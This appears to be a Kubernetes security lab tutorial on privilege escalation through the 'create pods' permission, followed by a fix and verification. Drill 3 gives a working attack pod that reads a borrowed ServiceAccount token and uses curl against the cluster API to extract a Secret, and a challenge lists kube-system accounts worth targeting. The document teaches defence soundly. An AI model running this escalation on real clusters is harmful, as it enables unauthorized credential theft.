Day 4: Privilege Escalation via Other ServiceAccounts
Goal: You take over a privileged ServiceAccount with “create pods” – and separate the namespaces. · Duration: approx. 75 min · Prerequisite: Day 3
Briefing
You don’t need Secret permissions to get at Secrets. Being allowed to start a Pod is enough: a Pod runs with the token of its ServiceAccount. So if you may create Pods in a namespace, you can “borrow” any ServiceAccount of that namespace – including a privileged one. This is one of the most common privilege escalations in real clusters, because “may deploy” is often handed out generously.
attacker:default --(create pods in shop)--> Pod with SA=deployer
|
deployer may read shop Secrets
Drill 1: The Starting Point – a Privileged Deployer
In the namespace shop, a ServiceAccount
deployer that (like a CI pipeline) may read the Secrets of
shop:
kubectl -n shop create secret generic db-credentials \
--from-literal=password=S3cr3t-lab-pw
kubectl -n shop create serviceaccount deployer
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: shop-secret-reader, namespace: shop}
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get","list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: deployer-secrets, namespace: shop}
subjects: [{kind: ServiceAccount, name: deployer, namespace: shop}]
roleRef: {kind: Role, name: shop-secret-reader, apiGroup: rbac.authorization.k8s.io}
EOFSave your progress? Sign up for free
Drill 2: The Misconfiguration – “May Deploy”
The attacker account gets the permission to create Pods in
shop and see their logs – a typical “debug/deploy”
bundle:
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: pod-creator, namespace: shop}
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create","get","list"]
- apiGroups: [""]
resources: ["pods/log"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: attacker-pod-creator, namespace: shop}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: pod-creator, apiGroup: rbac.authorization.k8s.io}
EOF
kubectl auth can-i create pods --as=system:serviceaccount:attacker:default -n shopExpected: yes
Save your progress? Sign up for free
Drill 3: Exploit – Borrowing the deployer
From here on we act with --as, the attacker’s view. You
start a Pod in shop with
serviceAccountName: deployer – the Pod inherits its token
and reads the Secret:
AS="--as=system:serviceaccount:attacker:default"
kubectl $AS -n shop apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pirate, namespace: shop}
spec:
serviceAccountName: deployer
restartPolicy: Never
containers:
- name: c
image: curlimages/curl
command: ["sh","-c"]
args:
- |
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $T" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
| grep -oE "\"password\": *\"[^\"]*\"" | sed -E "s/.*\": *\"//;s/\"//" | base64 -d
echo
EOF
kubectl -n shop wait --for=jsonpath='{.status.phase}'=Succeeded pod/pirate --timeout=60s
kubectl $AS -n shop logs pirateExpected:
S3cr3t-lab-pw
The attacker never had Secret permissions. They borrowed the identity
of the deployer by starting a Pod with its ServiceAccount.
“Create pods” in a namespace is as powerful as the most powerful
ServiceAccount in it.
Save your progress? Sign up for free
Drill 4: Fix – Separate the Namespaces
The attacker namespace simply may not do anything in
shop. Revoke the binding:
kubectl -n shop delete rolebinding attacker-pod-creator
kubectl -n shop delete role pod-creatorSave your progress? Sign up for free
Drill 5: Proof
AS="--as=system:serviceaccount:attacker:default"
kubectl auth can-i create pods $AS -n shop
kubectl $AS -n shop run x --image=curlimages/curlExpected:
no
Error from server (Forbidden): pods is forbidden: User
"system:serviceaccount:attacker:default" cannot create resource "pods" in API group ""
in the namespace "shop"
Clean up the exercise leftovers:
kubectl -n shop delete pod pirate
kubectl -n shop delete rolebinding deployer-secrets
kubectl -n shop delete role shop-secret-reader
kubectl -n shop delete serviceaccount deployer
kubectl -n shop delete secret db-credentialsSave your progress? Sign up for free
Checkpoint
The attacker account no longer has a single permission in
shop:
kubectl auth can-i --list --as=system:serviceaccount:attacker:default -n shop \
| grep -E '^(pods|secrets)' || echo "keine Rechte auf pods/secrets"Expected: keine Rechte auf pods/secrets
Challenge
Even within a namespace, “create pods” is dangerous if a SA
with more permissions lives there. Find out which ServiceAccount in
kube-system has the most permissions – that would be the
loot with create pods in kube-system.
Hint: kubectl auth can-i --list --as=…
shows per account what it may do; compare two or three candidates.
Solution
for sa in clusterrole-aggregation-controller generic-garbage-collector namespace-controller; do
n=$(kubectl auth can-i --list \
--as=system:serviceaccount:kube-system:$sa 2>/dev/null | wc -l)
echo "$sa: $n Regelzeilen"
doneExpected: accounts such as
clusterrole-aggregation-controller or
generic-garbage-collector have conspicuously many
permissions. That is why create pods in
kube-system must never go to a workload.
Save your progress? Sign up for free
Enterprise Note
create pods(also viadeployments,jobs,cronjobs,daemonsets) is effectively privilege escalation to every SA of the namespace. Grant it as narrowly as possible.- With Pod Security Admission (Day 5) and Kyverno (Day 12) you can additionally restrict which ServiceAccounts a Pod may use.
- Separate tenants into their own namespaces and bind permissions strictly namespaced; no account should have permissions in another namespace.
- CI/deployer accounts belong in their own namespace with a narrowly scoped Role – not next to the workloads they roll out.